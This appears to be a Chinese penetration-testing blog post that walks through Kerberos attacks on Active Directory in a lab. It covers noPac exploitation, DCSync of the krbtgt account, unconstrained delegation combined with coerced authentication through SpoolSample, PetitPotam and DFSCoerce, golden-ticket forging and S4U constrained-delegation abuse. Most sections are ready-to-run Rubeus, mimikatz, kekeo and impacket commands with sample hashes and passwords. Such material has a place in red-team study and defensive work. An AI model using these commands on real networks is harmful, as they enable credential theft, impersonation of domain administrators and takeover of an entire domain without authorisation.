Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/aa.xxx.com" /dc:"aa.xxx.com" /ptt /ticket:doIEgDCCBHygAwIBBaEDA……

# 7.DCsync
# export KRB5CCNAME='/root/Administrator@aa@XXX.COM.ccache'
# impacket-secretsdump -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'aa.xxx.com' @'aa.xxx.com'
lsadump::dcsync /domain:xxx.com /user:krbtgt

使用 noPac/python版本noPac

1
2
3
4
5
6
7
8
# 扫描
noPac.exe scan -domain xxx.com -user qq -pass Qwer123

# cifs利用
noPac.exe -domain xxx.com -user qq -pass Qwer123 /dc aa.xxx.com /mAccount testUser /mPassword Password123! /service cifs /ptt

# ldap利用
noPac.exe -domain xxx.com -user qq -pass Qwer123 /dc aa.xxx.com /mAccount testUser2 /mPassword Password123! /service ldap /ptt /impersonate Administrator

Dollar Ticket

sAMAccountName 欺骗和 Dollar Ticket 都利用了机器账户末尾 $ 所产生的名称混淆,但目标不同

sAMAccountName 欺骗:

  • 主要针对 Windows Active Directory 域
  • 目标是冒充域控制器
  • 通常结合 S4U2self
  • 最终可能执行 DCSync,接管整个域

Dollar Ticket:

  • 原理相似,但攻击流程更简单
  • 主要针对已加入域的 Linux 或 Unix 主机
  • 通常属于本地权限提升场景

委派

Kerberos 的委派(Delegation),简单说就是:允许一个服务代表用户去访问另一个服务

比如用户访问一个 Web 应用,Web 应用后端还需要去访问数据库、文件服务器或 API。Kerberos 委派让 Web 应用可以 “以这个用户的身份” 继续访问后端资源,而不是只能用 Web 服务自己的身份

此外接受委派的用户只能是服务账户或者计算机用户

非约束委派

设置后服务被允许代表用户访问任意服务

假设我们有一台域内的可控主机 zz,并配置了非约束委派,当域控或者其他主机通过 Kerberos 协议访问我们的主机 zz 的时候,就会在内存留下 TGT 票据,我们可以通过 TGT 票据来访问该主机可以访问的任意服务

查找非约束委派

AdFind

1
2
3
4
5
6
#查询服务用户
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


#查询主机用户
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

利用非约束委派

在 DC 上通过 WinRM 访问主机 zz(Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要 winrm quickconfig -q 来启动WinRM服务)

1
Enter-PSSession -ComputerName <计算机名>

此时主机 zz 上已经缓存了从 DC 登录过来的域管的 Ticket,使用 mimikatz 导出

1
2
privilege::debug
sekurlsa::tickets /export

注入内存后测试

1
kerberos::ptt <票据>

在实际利用中我们需要诱导DC或者高权限用户来连接

非约束委派+强制认证

上一小节中的非约束委派需要域控主动连接,所以有时比较被动和鸡肋。所以可以利用一些协议来强制触发认证

1.Spooler打印机服务

可以利用 SpoolSample 打印机服务来强制指定主机进行连接

条件:

  1. 需要以域用户运行 SpoolSample
  2. 需要开启 Print Spooler 服务,该服务默认自启动

利用:

使用 SpoolSample.exe 程序,让 DC 强制访问和认证 (我的环境中AA是域控,ZZ是可控的非约束委派主机)

1
2
# SpoolSample.exe target server
SpoolSample.exe AA ZZ

同时使用 Rubeus 监听来自 DC 的 4624 登录日志(注意筛选条件)

1
Rubeus.exe monitor /interval:1 /filteruser:AA$

使用 Rubeus 导入 base64 格式的 Ticket

1
Rubeus.exe ptt /ticket:base64

然后就可以利用 mimikatz 了

1
2
3
4
privilege::debug
sekurlsa::tickets /export
kerberos::ptt <票据>
lsadump::dcsync /domain:xxx.com /user:krbtgt /csv /all

得到 krbtgt 用户的 Hash 之后还可以生成一张 administrator 的黄金票据

1
kerberos::golden /user:Administrator /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /krbtgt:ee2ab0b2adf640821b739ed4c3d7a4d8 /ptt

2.PetitPotam

https://github.com/topotam/PetitPotam

原理:在微软加密文件系统远程协议(Microsoft Encrypting File System Remote Protocol, MS-EFSRPC)中,提供了 EfsRpcOpenFileRaw() 接口,该 API 用于维护和管理远程网络访问的加密对象。攻击者使用 MS-EFSRPC 协议连接到服务器,通过修改 EfsRpcOpenFileRaw() 中的 FileName 参数劫持认证会话,迫使服务器进行强制验证

条件:

  1. 目标支持 MS-EFSR 协议
  2. 拥有一个域用户凭据信息

利用:

1
2
3
# Rubeus 或者 ntlmrelayx 等开启监听

python PetitPotam.py -d xiaorang.lab -u WIN19$ -hashes aad3b435b51404eeaad3b435b51404ee:b6cbbcf7b4b326a08b3d81147196d5a4 WIN19 172.22.4.7

3.DFSCoerce

https://github.com/Wh04m1001/DFSCoerce

原理:在微软分布式文件系统命名空间管理协议 MS-DFSNM 中,提供了一个管理 DFS 配置的 RPC 接口,该接口可通过 \\pipe\\netdfs SMB 命名管道获得。攻击者使用 MS-EFSRPC 协议中的 RPC 接口来触发强制认证,目前发现的特定方法有两个:NetrDfsRemoveStdRoot() 和 NetrDfsAddStdRoot()

条件

  1. 域内启用 MS-DFSNM 协议
  2. 拥有一个域用户凭据信息
  3. 只对域控有效

利用:

1
2
3
# Rubeus 或者 ntlmrelayx 等开启监听

python dfscoerce.py -d xiaorang.lab -u WIN19$ -hashes aad3b435b51404eeaad3b435b51404ee:b6cbbcf7b4b326a08b3d81147196d5a4 WIN19 172.22.4.7

约束委派

服务只能代表用户访问指定的服务

由于非约束委派的不安全性,微软在 windows server 2003 中引入了约束委派,对 Kerberos 协议进行了拓展,引入了 S4U,其中 S4U 支持两个子协议:Service for User to Self(S4U2Self) 和 Service for User to Proxy(S4U2proxy),这两个扩展都允许服务代表用户从 KDC 请求票据。约束委派就是限制了 S4U2proxy 扩展的范围

1
2
3
4
5
6
7
8
S4U2Self:
服务可以为某个用户向 KDC 请求一张"给自己用的票据"
可以理解为:服务A:我想知道用户 Alice 对我是什么身份


S4U2Proxy:
服务拿着用户相关票据,以用户的名义再请求访问另一个其它服务的票据
可以理解为:服务A:我想代表 Alice 去访问服务B

利用

我的测试环境: aa.xxx.com 为域控,zz.xxx.com 为域内主机

先配置约束委派环境。新建一个 sql 用户,并且注册 SPN 表示其为服务用户

1
setspn -A MSSQLSvc/zz.xxx.com:1433 sql

同时配置上 dc 的 cifs 可以被 sql 用户所委派。需要注意的是使用任何身份验证协议

在配置约束性委派时有两种模式,其核心区在于是否允许协议转换,具体如下:

  • Use Kerberos only,仅使用 Kerberos:
    用户必须先通过 Kerberos 访问服务 A,服务 A 需要拿到用户访问自身的、可转发的服务票据,之后才能通过 S4U2Proxy 向 KDC 申请访问被允许委派的后端服务 B 的票据。
    这种模式不能凭服务 A 的账号权限直接通过 S4U2Self 伪造任意用户完成完整委派。
  • Use any authentication protocol,使用任何身份验证协议:
    允许协议转换。即使用户没有先通过 Kerberos 访问服务 A,服务 A 也可以通过 S4U2Self 代表某个用户向 KDC 申请“该用户访问服务 A 自身”的票据,再通过 S4U2Proxy 将其转换为访问指定后端服务 B 的票据。
    因此,如果攻击者掌握了服务 A 账号的凭据,并且该账号被配置了到目标 SPN 的约束委派,就可以伪造被允许委派的用户去访问目标服务。

查找约束委派

1
2
3
4
5
# 查找约束委派的用户
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 查找约束委派的主机
.\AdFind.exe -b "DC=xxx,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

约束委派的利用条件是需要知道服务账户的密码或 Hash,因为约束性委派在向 KDC 申请可转发 TGS 时,需要提供可转发的 TGT(这里需要自身的 Hash)。所以只要控制配置了约束性委派服务的机器,并获得了它的密码或 Hash,就可以劫持这台主机的 kerberos 请求过程,最终获得任意用户权限的 Ticket

方法一:使用 kekeo 和 mimikatz

1
2
3
4
5
6
# 先使用 kekeo 申请 TGT
# tgt::ask /user:sql /domain:xxx.com /NTLM:bb9973686203e4145b24156b549d3244
tgt::ask /user:sql /domain:xxx.com /password:Qwer12345

# 使用该 TGT 通过 s4u 伪造 administrator@xxx.com 去访问 aa 的 cifs 服务
tgs::s4u /tgt:TGT_sql@XXX.COM_krbtgt~xxx.com@XXX.COM.kirbi /user:administrator /service:cifs/aa.xxx.com

最后通过 mimikatz 使用 cifs 的 TGS 票据进行 ptt 即可


方法二:使用 Rubeus 和 mimikatz

1
2
3
4
5
6
7
8
9
10
11
# 导出 NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 使用 Rubeus 申请服务票据
.\Rubeus.exe asktgt /user:sql /rc4:bb9973686203e4145b24156b549d3244 /domain:xxx.com /dc:AA.xxx.com /nowrap

# 注入票据
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/AA.xxx.com /dc:AA.xxx.com /ptt /ticket:<上一步抓到的票据>

# 访问
dir \\AA.xxx.com\c$


Kerberos协议之黄金票据和白银票据
内网渗透之kerberos协议学习及攻击方法总结
域渗透-SPN
从XP源码泄露看nopac漏洞
红队域渗透NTLM Relay:强制认证方式总结


域渗透学习(Kerberos篇)
https://www.dr0n.top/posts/7fde5404/
作者
dr0n
发布于
2025年9月13日
更新于
2026年7月24日
许可协议